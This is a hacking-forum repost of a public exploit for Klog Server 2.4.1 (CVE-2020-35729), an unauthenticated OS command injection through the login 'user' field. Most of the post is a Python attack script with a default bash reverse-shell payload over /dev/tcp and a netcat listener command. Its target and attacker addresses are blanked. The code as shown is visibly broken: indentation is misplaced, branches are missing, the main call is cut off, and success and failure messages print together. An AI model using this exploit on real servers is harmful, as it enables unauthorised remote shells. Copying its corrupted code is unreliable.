Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Klog Server 2.4.1 - Command Injection (Unauthenticated)


Recommended Posts

# Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated)
# Date: 22.12.2020
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
# Vendor Homepage: https://www.klogserver.com/
# Version: 2.4.1
# Tested On: Ubuntu 18.04
# CVE: 2020-35729
# Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER

    The Klog Server runs the injected os commands on the server , causing os command
    injection vulnerability.    
    The following python code will inject os command payload and can be relaized reverse
    shell connection.And you can be added payload except the default payload plugin.


    $sudo nc -nlvp 98
    $sudo python klog_exploit.py --exploit --url --payload "test\"$bash -i >& /dev/tcp/ 0>&1&\""




import requests
import argparse
from colorama import Fore, Back, Style, init

def main():
    desc = "KLOG SERVER 2.4.1 EXPLOIT"
    parser = argparse.ArgumentParser(description=desc)
    option = parser.add_argument_group('[*]OPTIONS[*]')
    parser.add_argument("--url", help=Fore.GREEN+"[*]TARGET URL ADDRESS[*]", required=False)
    parser.add_argument("--payload",help=Fore.GREEN+"[*] TO ADD PAYLOAD  [*]", type=str,required=False)
    parser.add_argument("--exploit", help=Fore.GREEN+" ", action="store_true")
    args = parser.parse_args()
    if args.exploit:

        if args.url:
            url = args.url
            if args.payload:
                payload = args.payload
                target_send_config(url, payload)
            #default bash reverse shell payload
                payload = "test\"&bash -i >& /dev/tcp/ 0>&1&\""
                target_send_config(url, payload)

            #default url (klog server init ip address)
            url = ""
            if args.payload:
                payload = args.payload
                target_send_config(url, payload)
                payload = "test\"&bash -i >& /dev/tcp/ 0>&1&\""
                target_send_config(url, payload)

def target_send_config(url, payload):
    headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0", 
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
                "Accept-Language": "en-US,en;q=0.5", 
                "Accept-Encoding": "gzip, deflate", 
                "Content-Type": "application/x-www-form-urlencoded", 
                "Connection": "close", 
                "Upgrade-Insecure-Requests": "1"}
    #injection place
    data = {"user": payload, 
            "pswd": "test"}
    #post method send    
        requests.post(url, headers=headers, data=data, verify=False)
        print(" ")
        print(Fore.GREEN+" "+"[+] EXPLOIT SUCCESSFUL PAYLOAD IS SENT [+]")
        print(Fore.RED+"[-] EXPLOIT FAILED [-]")

if __name__ == '__main__':
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...